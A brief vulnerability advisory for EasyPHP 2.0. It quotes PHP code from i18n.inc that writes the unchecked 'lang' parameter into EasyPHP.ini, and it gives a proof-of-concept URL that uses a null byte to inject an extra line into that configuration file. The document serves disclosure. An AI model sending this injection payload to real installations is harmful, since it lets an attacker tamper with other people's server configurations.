Bug         : Arbitrary Modify Configuration File
Vendor      : EasyPHP
Vendor URI  : http://sourceforge.net/projects/quickeasyphp/
Product     : EasyPHP 2.0
Author      : Zigma [zigmatn  @  gmail.com]
              http://NullArea.NET

Description :

EasyPHP is a WAMP software bundle that installs web server services onto the Windows computer and allows quick-and-easy development of PHP and MySQL on a localhost (also known as 127.0.0.1). 
The package includes an Apache server, a MySQL database, and the PHP extension.

[+] Analyis :  

A slight look on i18n.inc 
                   
if (isset($_GET['lang']) AND $_GET['lang'] != $lang)
{
  $fp = fopen($filename, "r");
  $ini_contents = fread($fp, filesize($filename));
  fclose($fp);
  $ini_contents = str_replace("LangAdmin=".$lang, "LangAdmin=".$_GET['lang'], $ini_contents); <--
  $fp = fopen($filename, "w");
  fputs($fp,$ini_contents);
  fclose($fp);
  Header("Location: " . $_SERVER['PHP_SELF']); 
  exit;
}

EasyPHP does not verify user Input ( Lang parameter ) wich leads to arbitrary overwrite EasyPHP configuration file (EasyPHP.ini) .  

[+] Proof Of Concept  :

The request :

http://localhost/index.php?lang=fr%00Lang=Overwritten

Results in overwriting EasyPHP.ini Adding the string "Lang=Overwritten".

f